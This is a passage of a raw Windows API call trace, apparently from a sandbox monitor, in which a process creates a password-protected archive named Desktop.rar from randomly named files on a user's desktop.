lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x41ddd [0059.436] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.436] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.436] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.436] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.436] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xb0, lpOverlapped=0x0) returned 1 [0059.436] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.436] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.436] SetFilePointer (in: hFile=0x198, lDistanceToMove=269696, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x41d80 [0059.436] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x41d80 [0059.436] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.436] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.436] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e340 [0059.437] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.437] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.437] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e390 [0059.437] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.437] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.437] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.437] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.437] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49190 | out: hHeap=0x290000) returned 1 [0059.437] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49160 | out: hHeap=0x290000) returned 1 [0059.437] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49130, Size=0x48) returned 0x34e340 [0059.437] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.437] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x5d, lpOverlapped=0x0) returned 1 [0059.437] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.437] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.437] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x41e8d [0059.437] CloseHandle (hObject=0x1b0) returned 1 [0059.437] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.437] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.437] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.437] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.437] FindFirstFileW (in: lpFileName="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.437] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.437] CreateFileW (lpFileName="dfxuFxjX5YwdPMIH\\2A58ceH2t.png" (normalized: "c:\\users\\whuoxysd\\desktop\\dfxufxjx5ywdpmih\\2a58ceh2t.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.437] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.437] GetTickCount () returned 0xa6537f [0059.437] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.437] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.437] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.438] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.438] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0059.438] SetWindowTextW (hWnd=0x10216, lpString="2A58ceH2t.png") returned 1 [0059.438] GetTickCount () returned 0xa6537f [0059.438] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.438] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.438] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.438] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.438] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x80)) [0059.438] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.438] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13477884501) returned 1 [0059.438] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x15c4f, lpOverlapped=0x0) returned 1 [0059.439] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a5c8f, nNumberOfBytesToRead=0xea3b1, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a5c8f*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.439] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.439] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.439] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.440] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.440] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e390 [0059.440] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.440] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.440] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e340 [0059.440] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.440] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.440] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.440] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.440] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49190 | out: hHeap=0x290000) returned 1 [0059.440] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49160 | out: hHeap=0x290000) returned 1 [0059.440] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49130, Size=0x48) returned 0x34e390 [0059.440] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.440] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.440] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.440] GetTickCount () returned 0xa6537f [0059.440] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13478029887) returned 1 [0059.440] GetTickCount () returned 0xa6537f [0059.440] GetTickCount () returned 0xa6537f [0059.440] GetTickCount () returned 0xa6537f [0059.440] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.440] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.440] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.440] ResetEvent (hEvent=0x1a4) returned 1 [0059.440] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.442] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.442] ResetEvent (hEvent=0x1a4) returned 1 [0059.442] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.446] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.447] ResetEvent (hEvent=0x1a4) returned 1 [0059.447] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.451] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.453] GetTickCount () returned 0xa6538f [0059.453] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13479366267) returned 1 [0059.453] GetTickCount () returned 0xa6538f [0059.453] GetTickCount () returned 0xa6538f [0059.453] GetTickCount () returned 0xa6538f [0059.453] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.453] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.453] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.453] ResetEvent (hEvent=0x190) returned 1 [0059.453] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.454] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.454] ResetEvent (hEvent=0x190) returned 1 [0059.454] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.456] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.456] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.456] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.456] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x41e8d [0059.456] SetFilePointer (in: hFile=0x198, lDistanceToMove=114, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x41eff [0059.456] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.456] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.457] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.457] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.457] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x15d20, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x15d20, lpOverlapped=0x0) returned 1 [0059.458] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.458] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.458] SetFilePointer (in: hFile=0x198, lDistanceToMove=269965, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x41e8d [0059.458] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x41e8d [0059.458] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.458] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.459] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e340 [0059.459] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.459] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.459] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e390 [0059.459] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.459] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.459] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.459] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49190 | out: hHeap=0x290000) returned 1 [0059.459] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49160 | out: hHeap=0x290000) returned 1 [0059.459] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49130, Size=0x48) returned 0x34e340 [0059.459] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.459] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x72, lpOverlapped=0x0) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.459] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x72) returned 0x299ddc0 [0059.459] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.459] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.459] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x57c1f [0059.459] CloseHandle (hObject=0x1b0) returned 1 [0059.459] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.459] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.459] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.459] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.459] FindFirstFileW (in: lpFileName="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.459] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.459] CreateFileW (lpFileName="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt" (normalized: "c:\\users\\whuoxysd\\desktop\\dfxufxjx5ywdpmih\\osbsjttafsx31msiarnw.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.459] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.459] GetTickCount () returned 0xa6538f [0059.460] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.460] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.460] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.460] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.460] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="2A58ceH2t.png") returned 13 [0059.460] SetWindowTextW (hWnd=0x10216, lpString="OsbsjTTafsX31mSiaRnW.ppt") returned 1 [0059.460] GetTickCount () returned 0xa6538f [0059.460] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.460] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.460] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.461] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.461] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x90)) [0059.461] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.461] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13480099743) returned 1 [0059.461] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xe44c, lpOverlapped=0x0) returned 1 [0059.461] ReadFile (in: hFile=0x1b0, lpBuffer=0x379e48c, nNumberOfBytesToRead=0xf1bb4, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379e48c*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.461] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.462] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.462] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49160 [0059.462] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.462] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49190, Size=0x48) returned 0x34e390 [0059.462] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.462] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.462] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49190, Size=0x48) returned 0x34e340 [0059.462] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.462] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49190 [0059.462] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.462] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491c0 | out: hHeap=0x290000) returned 1 [0059.462] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49190 | out: hHeap=0x290000) returned 1 [0059.462] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49160, Size=0x48) returned 0x34e390 [0059.462] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x80) returned 0x36ea60 [0059.462] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.462] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.464] GetTickCount () returned 0xa6538f [0059.464] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13480418697) returned 1 [0059.464] GetTickCount () returned 0xa6538f [0059.464] GetTickCount () returned 0xa6538f [0059.464] GetTickCount () returned 0xa6538f [0059.464] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.464] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.464] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.465] ResetEvent (hEvent=0x1a4) returned 1 [0059.465] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.467] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.467] ResetEvent (hEvent=0x1a4) returned 1 [0059.467] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.469] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.469] GetTickCount () returned 0xa6539e [0059.469] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13480904298) returned 1 [0059.469] GetTickCount () returned 0xa6539e [0059.469] GetTickCount () returned 0xa6539e [0059.469] GetTickCount () returned 0xa6539e [0059.469] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0059.469] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0059.469] GetFocus () returned 0x10232 [0059.469] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0059.469] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.469] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.469] ResetEvent (hEvent=0x190) returned 1 [0059.469] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.470] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.470] ResetEvent (hEvent=0x190) returned 1 [0059.470] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.471] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.471] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.471] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.471] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x57c1f [0059.471] SetFilePointer (in: hFile=0x198, lDistanceToMove=125, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x57c9c [0059.471] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.471] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.471] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, 